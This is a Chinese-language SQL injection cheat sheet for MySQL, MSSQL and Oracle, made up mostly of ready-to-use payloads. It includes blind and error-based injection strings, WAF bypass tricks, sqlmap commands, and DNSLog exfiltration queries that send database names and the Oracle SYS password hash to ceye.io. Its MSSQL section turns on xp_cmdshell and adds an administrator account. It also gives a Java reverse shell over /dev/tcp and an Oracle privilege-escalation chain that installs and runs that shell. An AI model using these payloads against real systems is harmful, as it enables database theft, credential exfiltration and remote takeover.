SQL注入笔记
[SQL注入备忘录][https://websec.ca/kb/sql_injection ]
MySQL基本hack函数
函数名称 | 函数功能 | 函数名称 | 函数功能 |
---|---|---|---|
system_user() | 系统用户名 | concat() | 没有分隔符地连接字符串 |
user() | 用户名 | concat_ws() | 含有分隔符地连接字符串 |
current_user() | 当前用户名 | group_concat() | 连接一个组的所有字符串,并以逗号分隔每一条数据 |
session_user() | 链接数据库的用户名 | load_file() | 读取本地文件 |
database() | 数据库名 | into_outfile | 写文件 |
version() | 数据库版本 | ascii() | 字符串的ascii代码值(str是空字符串,返回0;如果str 是NULL,返回NULL) |
@@datadir | 数据库路径 | ord() | 返回字符串第一个字符的ascii值 |
@@basedir | 数据库安装路径 | mid() | 返回一个字符串的一部分 |
@@version_compile_os | 操作系统 | subset() | 返回一个字符串的一部分 |
count(列名) | 返回执行结果数量 | length() | 返回字符串的长度 |
left() | 返回字符串的最左面几个字符 | sleep() | 让此语句运行N秒钟 |
floor() | 返回小于或等于x的最大整数 | if() | select IF(1>2,2,3); |
rand() | 返回0和1之间的一个随机数 | char() | 返回整数ascii代码字符组成的字符串 |
strcmp() | 比较字符串内容 | IFNULL() | 加入参数1不为NULL,则返回值为参数1,否则其返回值为参数2 |
exp() | 返回e的x次方 |
爆所有数据库的名字
SELECT group_concat(SCHEMA_NAME) from information_schema.schemata
爆当前库的所有表名
SELECT group_concat(TABLE_NAME) from information_schema.tables where table_schema = database();
爆表中的字段名
SELECT group_concat(column_name) from information_schema.columns where table_name =' ';
报错注入
floor
?id=1 and (select count(*) from information_schema.schemata group by concat((select version()), floor(rand(0)*2)))--+ //替换select version()即可
extractvalue
select extractvalue(1,concat(0x7e,(select user()),0x7e));
updatexml
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
常用的手工注入套路
- Order by 试出字段数
- union语句结合select查看哪些字段是有回显
- 回显字段使用select即可
登陆绕过
用户名及密码中尝试输入’ or 1=1 #
盲注
布尔盲注
id =1 and mid(select database(),0,1) = 'a'
时间盲注
id =1 and if(ascii(substr(database(),1,1))>115,0,sleep(5))--+
DNSLog
通过布尔或者时间盲注获取内容,效率很低,需要发送很多的请求进行判断,很有可能会触发安全设备的防护
我们使用DNSLog实现回显,减少请求。需要目标服务器是Windows操作系统才可以
DNSLog平台:http://ceye.io/
curl `whoami`.8w8km8.ceye.io //ceye平台会记录 hostname.8w8km8.ceye.io
构造语句,利用load_file()函数发起请求,使用DNSLog接收请求,获取数据
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.mysql.8w8km8.ceye.io\\abc'));
宽字节注入
MYSQL在使用GBK编码的时候,会认为两个字符为一个汉字
%df\''
-> %df%5c%27
-> 运'
Tips:
黑盒测试 | 白盒测试 |
---|---|
在可能的注入点后键入%df,之后进行注入测试 | 1.查看MYSQL编码是否为GBK 2.是否使用preg_replace把单引号替换成' 3.是否使用addslashes进行转义 4.是否使用mysql_real_escape_string进行转义 |
防御:
- 使用utf-8,避免宽字节注入; 不仅在gbk,韩文、日文等都是宽字节,都有可能存在宽字节注入漏洞。
- mysql_real_escape_string,并且需要设置mysql_set_charset('gbk', $conn);
- 可以设置参数,character_set_client=binary,比如:$result=mysql_query("character_set_client=binary", $sql);
二次编码注入
黑盒测试 | 白盒测试 |
---|---|
在可能的注入点键入%2527,之后进行注入测试 | 1.是否使用URLdecode函数 2.URLdecode函数是否在转义方法之后 |
二次注入
二次注入防御:
- 对外部提交的数据,需要更加谨慎的对待
- 程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定SQL语句带入到查询当中。
WAF绕过
- 熟练掌握mysql函数和语法使用方法
- 深入了解中间件运行处理机制
- 了解WAF防护原理及方法
黑盒绕过
-
架构层绕过WAF
- 寻找源站-->针对云WAF
- 利用同网段-->绕过WAF防护区域
-
资源限制角度绕过WAF
- POST大BODY
-
协议层面绕过WAF的检测
- 协议未覆盖绕过WAF
- 请求方式变换:GET -> POST
- Content-type变换:application/x-www-form-urlencoded; -> multipart/form-data;
- 参数污染
- id = 1 & id = 1' union select user() #
- 协议未覆盖绕过WAF
-
规则层面的绕过
-
SQL注释符绕过
- Level1 :union/**/select
- Level2 :union/*aaaaa%01bbs*/select
- Level3 :union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
- 内联注释:/*!xxx*/
-
空白符绕过
- Mysql空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
- 正则的空白符:%09,%0A,%0B,%0D,%20
Example-1: union%250Cselect
Example-2: union%25A0select
-
函数分隔符号
- concat%2520()
- concat/**/()
- concat%250C()
- concat%25A0()
-
浮点数词法解析
- Select * from users where id =8E0union select 1,2,3,4,5
- Select * from users where id =8.0union select 1,2,3,4,5
- Select * from users where id =\Nunion select 1,2,3,4,5
-
利用error-based进行SQL注入:Error-based SQL注入函数非常容易被忽略
- Extractvalue (1,concat(0x5c,md5(3)));
- Updatexml(1,concat(0x5d,md5(3)),1);
- GeometryCollection((select * from (select * from (select @@version)f)x))
- Polygon((select * from (select name_const(version(),1))x))
- Linestring()
- Multipoint()
- multilinestring()
- Multipolygon()
-
Mysql特殊语法
- select (x table_name)from(x information_schema.tables);
-
fuzz绕过
- 对规则层面的各种方法进行fuzz尝试,比如/*中间尝试多种fuzz组合*/
SQLMAP
Python sqlmap.py -u "http://test.com/index.php?id=1"
python sqlmap.py -u "http://test.com/index.php?id=1" --current-db
python sqlmap.py -u "http://test.com/index.php?id=1" --current-user
python sqlmap.py -u "http://test.com/index.php?id=1" --dbs
python sqlmap.py -u "http://test.com/index.php?id=1" -D dbs-name --tables
python sqlmap.py -u "http://test.com/index.php?id=1" -D dbs-name -T table-name --columns
python sqlmap.py -u "http://test.com/index.php?id=1" -D dbs-name -T table-name -C columns-name --dump
python sqlmap.py -u "http://test.com/index.php?id=1" --os-shell
python sqlmap.py -u "http://test.com/index.php?id=1" --sql-shell
python sqlmap.py -u "http://test.com/index.php?id=1" --file-read
python sqlmap.py -u "http://test.com/index.php?id=1" --file-write local_file --file-dest dest_file
脚本
ALL
编号 | tamper | 解释 |
---|---|---|
1 | apostrophemask.py | 用utf-8代替引号 |
2 | base64encode.py | 用base64编码替换 |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 |
4 | space2plus.py | 用+替换空格 |
5 | space2randomblank.py | 代替空格字符 从一个随机的空白字符可选字符的有效集 |
6 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT |
MYSQL
编号 | tamper | 解释 |
---|---|---|
1 | equaltolike.py | like代替等号 |
2 | greatest.py | 绕过过滤'>',用GREATESGREATEST替换大于号 |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号 |
4 | ifnull2ifisnull.py | 绕过对IFNULL过滤,替换类似'IFNULL(A,B)'为'IF(ISNULL(A),B,A)' |
5 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 |
6 | space2mysqlblank.py | 空格替换其他空白符号 |
7 | between.py | 用between替换大于号 |
8 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 |
9 | space2mysqldash.py | 替换空格字符后跟一个破折号注释一个新行 |
10 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like |
11 | charencode.py | URL编码 |
12 | randomcase.py | 随机大小写 |
13 | versionedkeywords.py | |
14 | space2comment.py | 注释替代空格 |
15 | charunicodeencode.py | 字符串unicode编码 |
16 | versionedmorekeywords.py | 注释绕过 |
17 | halfversionedmorekeywords.py | 关键字前加注释 |
18 | space2morehash.py | 空格替换为*号以及更多随机字符串 换行符 |
MSSQL
编号 | tamper | 解释 |
---|---|---|
1 | space2hash.py | 绕过过滤空格 |
2 | equaltolike.py | like代替等号 |
3 | space2mssqlblank.py | 空格替换成其他空符号 |
4 | space2mssqlhash.py | 替换空格 |
5 | between.py | 用between替换大于号 |
6 | percentage.py | asp允许每个字符前面添加一个%号 |
7 | sp_password.py | 追加sp_password从DBMS日志的自动模糊处理的有效载荷的末尾 |
8 | charencode.py | URL编码 |
9 | randomcase.py | 随机大小写 |
10 | charunicodeencode.py | 字符串unicode编码 |
11 | space2comment.py | 注释替代空格 |
Oracle
编号 | tamper | 解释 |
---|---|---|
1 | greatest.py | 绕过过滤'>',用GREATESGREATEST替换大于号 |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号 |
3 | between.py | 用between替换大于号 |
4 | charencode.py | URL编码 |
5 | randomcase.py | 随机大小写 |
6 | charunicodeencode.py | 字符串unicode编码 |
7 | space2comment.py | 注释替代空格 |
PostgreSQL
编号 | tamper | 解释 |
---|---|---|
1 | greatest.py | 绕过过滤'>',用GREATESGREATEST替换大于号 |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号 |
3 | between.py | 用between替换大于号 |
4 | percentage.py | asp允许每个字符前面添加一个%号 |
5 | charencode.py | URL编码 |
6 | randomcase.py | 随机大小写 |
7 | charunicodeencode.py | 字符串unicode编码 |
8 | space2comment.py | 注释替代空格 |
Access
编号 | tamper | 解释 |
---|---|---|
1 | appendnullbyte.py | 在有效负荷结束为止加载零字节字符编码 |
Others
编号 | tamper | 解释 |
---|---|---|
1 | chardoubleencode.py | 双URL编码 |
2 | unmagicquotes.py | 宽字符绕过GPC addslashes |
3 | randomcomments.py | 用/**/分隔SQL关键字 |
自己编写脚本
- 需要先判断出WAF做了哪些过滤或通过fuzz判断
- 编写脚本(就是写个替换的函数,照着原本的脚本改一下即可)
配置文件
在sqlmap的主目录下存在sqlmap.conf
在平常使用过程中可以使用--save将参数保存到配置文件中
--save=SAVECONFIG Save options to a configuration INI file
之后就可以-c 加配置文件来使用
对于星号的使用
使用*可以指定扫描的参数,比如http://test.com/index.php?id=1*
,一般星号位置放在后面,星号就是payload替代的地方。
prefix和suffix
用来一些语句的闭合,保证正常的payload的注入
$sql="SELECT * FROM users WHERE id = ((((".$id.")))) LIMIT 0,1";
--prefix -> )))) 闭合前面的符号
--suffix -> --hhhh 注释、闭合后面的数据
payload检测原理
--no-cast
关闭cast函数的使用,对于一些版本的mysql服务器需要关闭此选项,不然会报错。
--no-escape
可以关闭char() 减少载荷
--hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
risk和level
level | 测试范围 |
---|---|
level >= 2 | 会测试cookie |
level >= 3 | 会测试user-agent,referer |
level >=5 | 会测试HOST |
高等级level会包含低等级level的测试
- ALways(<100 requests)
- Try a bit harder (100-200 requests)
- Good number of requests (200-500 requests)
- Extensive test (500-1000 requests)
- You have plenty of time (>1000 requests)
不仅在测试范围上有所扩展,也会在payload上大量增加
risk | 范围 |
---|---|
1 | 默认,会测试大部分的测试语句 |
2 | 会增加基于事件的测试语句 |
3 | 会增加OR语句的SQL注入测试 |
高等级risk会包含低等级risk的测试
1.level是测试范围,risk是语句深度
2.两者都会影响payload的测试量,值越大,量越大
MSSQL
数据库信息收集
@@version //查看数据库版本select * from Users where id ='1' and @@version like '%14%'; //判断版本号select name , loginame from master..syslogins, master..sysprocessesuser //查看当前用户system_usersuser_sname()is_srvrolemember('sysadmin')@@servernameselect name from master..sysdatabasesselect DB_NAME(i) //查看当前数据库
注入流程
- 判断数据库类型
select * from sysobjects //sysojects:mssql数据库特有的数据表,系统对象表,保存当前数据的对象select * from users where id=1 and exists(select * from sysobjects)--+
- 判断权限
select is_srvrolemember('sysadmin'); 判断当前是否为saselect is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)select is_srvrolemember('public'); 判断是否有public权限,可以爆破表
- 信息收集
- 获取当前数据库中的表
select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0) //修改i的值来查看
- 获取指定表的字段名
select top 1 column_name from 当前数据库.information_schema.columns where table_name='users' and column_name not in (select top i column_name from 当前数据库.information_schema.columns where table_name='users')
- 获取字段数据
select top 1 字段名 from 表名 where 字段名 not in (select top i 字段名 from 表名)
权限提升
判断是否站库分离
1' and ((select host_name())=(select @@SERVERNAME))--+
判断xp_cmdshell是否开启,2005版本之后默认不开启
1' and 1=(select count(*) FROM master..sysobjects where xtype = 'X' and name = 'xp_cmdshell')--+
开启xp_cmdshell,通过“;”多语句执行
EXEC sp_configure 'show advanced options' ,1RECONFIGUREEXEC sp_configure 'xp_cmdshell' ,1RECONFIGURE
写入文件
exec xp_cmdshell 'whoami > c://tmp//1.txt'
读取文件
create table xxxx (line varchar(8000));BULK insert xxxx from 'c://tmp//1.txt';select * from xxxx;drop table xxxx;
Sqlmap+johnny获取口令
##验证注入sqlmap.py -r 1.txt -p xxx --banner##抓取密文python.py sqlmap.py -r 1.txt -p xxx --sql-query="select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins"
sysadmin扩展攻击方式(添加系统账号)
exec master..xp_cmdshell 'net user test test /add'exec master..xp_cmdshell 'net localgroup administrator test /add'##如果执行失败,说明没有相应权限,需要mssql的启动权限和安装权限
OPENROWSET绕过web端限制
当无法直接远连数据库,并无法使用多语句注入时,就需要在web端,执行xp_cmdshell命令。但是由于语法限制,DML语句中无法直接调用DCL语句。因此,这时就需要使用OPENROWSET来绕过限制。
OPENROWSET包含访问OLEDB数据源中的远程数据所需的所有连接信息,并可以在查询的FROM子句中引用,就好像它是一个表名。
select * from openrowset('SQLOLEDB','数据库地址';'数据库用户名';'数据库密码','set fmtonly off execute master..xp_cmdshell "dir "');
PowerUpSQL
三大功能:
- 数据库发现,可以探测本机及内网/同域的mssql数据库
- 数据库安全配置探测,调用sqlaudit函数可用于普通的高危漏洞和使用当前登录的权限弱配置探测。另外,Invoke SQLDumpInfo可以用来快速库存数据库,特权,和其他信息。
- 调用sqlescalatepriv功能,自动尝试使用确定的漏洞获取系统管理员权限。
https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
Oracle
Oracle的注入有以下规则:
- Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构造select的语法规则,Oracle保证dual里面永远只有一条记录。
- Oracle的数据类型是强匹配的(mysql有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
- Oracle的单行注释符号是--,多行注释符号是/**/。
实例注入语句
##判断列数'order by 3 --##判断回显位置' union select null,null,null,null from dual --##获取数据库版本信息' union select null,(select banner from sys.v_$version where rownum=1),null from dual --##获取数据表名' union select null,(select table_name from user_tables where rownum=1),null from dual --' union select null,(select table_name from user_tables where rownum=1 and table_name <> 'T_USER'),null from dual -- ##获取关键表中的列名' union select null,(select column_name from user_tab_columns where table_name ='T_USER' and rownum=1),null from dual --
报错盲注
报错注入的核心在于参数类型不匹配和报错信息未处理
-
使用utl_inaddr.get_host_name()进行报错注入
id == 1' and 1=utl_inaddr.get_host_name((select user from dual))--
-
使用ctxsys.drithsx.sn()进行报错注入
1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
-
使用XMLType()进行报错注入
1' and (select upper(XMLType(chr(60)||chr(58)||(select user dual)||chr(62))) from dual) is not null--
-
使用dbms_xdb_verison.checkin()进行报错注入
1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
-
使用dbms_xdb_version.makeversioned()进报错注入
1' and (select dbms_xdb_verison.makeversioned((select user from dual)) from dual) is not null--
-
使用dbms_xdb_version.uncheckout()进行报错注入
1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--1' and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
-
使用ordsys.ord_dicom.getmappingxpath()进行报错注入
1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--1' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
布尔盲注
- 使用decode函数进行布尔盲注
//decode(条件,值1,翻译值1,值2,翻译值2,……值n,翻译值n,缺省值)if (条件==值1)thenreturn(翻译值1)elsif(条件=值2)thenreturn(翻译值2)endif1' and 1=(select decode(substr(user,1,1),'S',(1),0)from dual)--
- 使用instr进行布尔盲注
1' and 1=(instr((select user from dual),'SQL'))--//instr函数的理解从一个字符串中查找指定子串的位置SQL>select instr('abcdefgh','de') position from dual;POSITION--------4从1开始算d排第四所以返回4
时间盲注
- 使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注
1' and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
- 使用decode()进行时间盲注
(select count(*)from all_objects)会花费更多时间去查询所有数据库的条目id =1&sname=1' and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
- 使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注
id =1&sname=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1
DNSLog
使用ceye.io平台
//PayloadSELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
数据库中执行Java代码
命令执行提升权限
反弹shell
[命令执行和反弹shell可以参考此链接][https://redn3ck.github.io/2018/04/25/Oracle注入-命令执行-Shell反弹/]
Java反弹代码如下:
import java.io.*;import java.net.*;public class shellRev{ public static void main(String[] args) { System.out.println(1); try{run();} catch(Exception e){} }public static void run() throws Exception { String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"}; Process p=Runtime.getRuntime().exec(aaa); }}
#编译javac shellRev.java#执行java shellRev
- 创建Java代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 反弹shell
select sys.reversetcp from dual